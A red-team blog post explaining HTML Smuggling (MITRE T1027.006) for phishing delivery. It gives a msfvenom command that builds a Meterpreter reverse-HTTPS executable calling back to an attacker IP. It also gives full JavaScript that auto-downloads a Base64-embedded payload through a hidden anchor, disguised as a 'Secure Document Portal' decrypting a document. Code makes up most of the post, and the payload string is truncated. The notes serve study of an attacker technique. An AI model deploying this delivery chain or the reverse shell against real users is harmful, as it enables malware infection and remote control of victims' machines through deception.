Post

HTML Smuggling

Red Team Shorts - HTML Smuggling. A client-side delivery technique that leverages HTML5 and JavaScript features to bypass perimeter security controls, encode malicious payloads and deliver them to the victim's local systems.

HTML Smuggling

HTML Smuggling

I am not an expert in the red teaming field and I do not pretend to be. I am here just to share a few short notes of the techniques I have been learning about this interesting area.

HTML Smuggling is a client-side delivery technique that leverages HTML5 and JavaScript features to bypass perimeter security controls. HTML Smuggling encodes the binary payload directly into an HTML or JS file. The browser then reconstructs the file locally using certain JavaScript APIs and functions to deliver the malicious payload to the victim’s system. This is a common phishing technique used to deliver malicious arbitrary files.

When a victim accesses an attacker-controlled server, the browser automatically executes the JavaScript files and uses a Blob object and the URL.createObjectURL or msSaveOrOpenBlob functions to construct the payload file locally in the browser’s memory and downloads it into the victim’s machine.

MITRE ATT&CK Framework

  • T1027.006: Obfuscated Files or Information: HTML Smuggling

When a user clicks this link from an HTML5-compatible browser, the msfstaged.exe file will be automatically downloaded to the user’s default download directory.

Generate msfstaged.exe

1
sudo msfvenom -p windows/x64/meterpreter/reverse_https LHOST=192.168.1.69 LPORT=443 -f exe -o msfstaged.exe

Web application to serve and offer the malicious code.

1
2
3
4
5
<html>
    <body>
      <a href="/msfstaged.exe" download="msfstaged.exe">DownloadMe</a>
   </body>
</html>

Technique 2 (better and the reason for this article) - Blob Invisible Anchor Tag

The following JavaScript code contains a Blob with the Meterpreter executable in Base64.

Download is triggered automatically after the victim visits the page. Unfortunately, a warning may be displayed due to the potentially unsafe file format.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
<!DOCTYPE html>
<html>
<head>
    <title>Secure Document Portal</title>
</head>
<body>
    <script>

        /*
         * Converts a Base64 encoded string into a raw binary ArrayBuffer.
         * This is the "Assembly" phase of HTML Smuggling.
         * @param {string} base64 - The encoded payload string.
         * @return {ArrayBuffer} - The raw bytes of the executable.
         */

        function base64ToArrayBuffer(base64) {
            // Decode the Base64 string into a binary string
            var binary_string = window.atob(base64);
            var len = binary_string.length;
            
            // Allocate a byte array to hold the raw binary data
            var bytes = new Uint8Array(len);
            
            // Map each character of the binary string to a byte in the array
            for (var i = 0; i < len; i++) { 
                bytes[i] = binary_string.charCodeAt(i); 
            }

            return bytes.buffer;
        }

        /* * PAYLOAD SECTION
        - Generation: sudo msfvenom -p windows/x64/meterpreter/reverse_https LHOST=192.168.1.69 LPORT=443 -f exe -o msfstaged.exe
        - Encoding: base64 -w 0 msfstaged.exe
         */
        var file = 'TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAA...'; // Truncated for documentation
        var fileName = 'msfstaged.exe';

        // Process the Base64 payload into raw binary data
        var data = base64ToArrayBuffer(file);

        // Wrap raw data in a Blob object (MIME type octet/stream for generic binary)
        var blob = new Blob([data], {type: 'application/octet-stream'});

        /**
         * DELIVERY PHASE
         * Checks browser compatibility and triggers the local "smuggled" download.
         */

        // Compatibility check for legacy Internet Explorer (msSaveBlob)
        if (window.navigator.msSaveOrOpenBlob) {
            window.navigator.msSaveBlob(blob, fileName);
        } 
        else {
            // Logic for modern browsers (Chrome, Edge, Firefox)
            
            // 1. Create a hidden anchor (<a>) element
            var a = document.createElement('a');
            document.body.appendChild(a);
            a.style = 'display: none'; // Ensure the element is invisible

            // 2. Generate a temporary internal URL for the memory-resident Blob
            var url = window.URL.createObjectURL(blob);
            
            // 3. Configure the anchor to point to our Blob and set the filename
            a.href = url;
            a.download = fileName;
            
            // 4. Programmatically trigger a click to start the "download"
            a.click();

            // 5. Cleanup: Release the URL and remove the anchor from the DOM
            window.URL.revokeObjectURL(url);
            document.body.removeChild(a);
        }
    </script>
    
    <div style="font-family: sans-serif; text-align: center; margin-top: 50px;">
        <h2>Processing Secure File...</h2>
        <p>Your document "msfstaged.exe" is being decrypted and prepared for download.</p>
        <p>Please check your downloads folder.</p>
    </div>
</body>
</html>

References

This post is licensed under CC BY 4.0 by the author.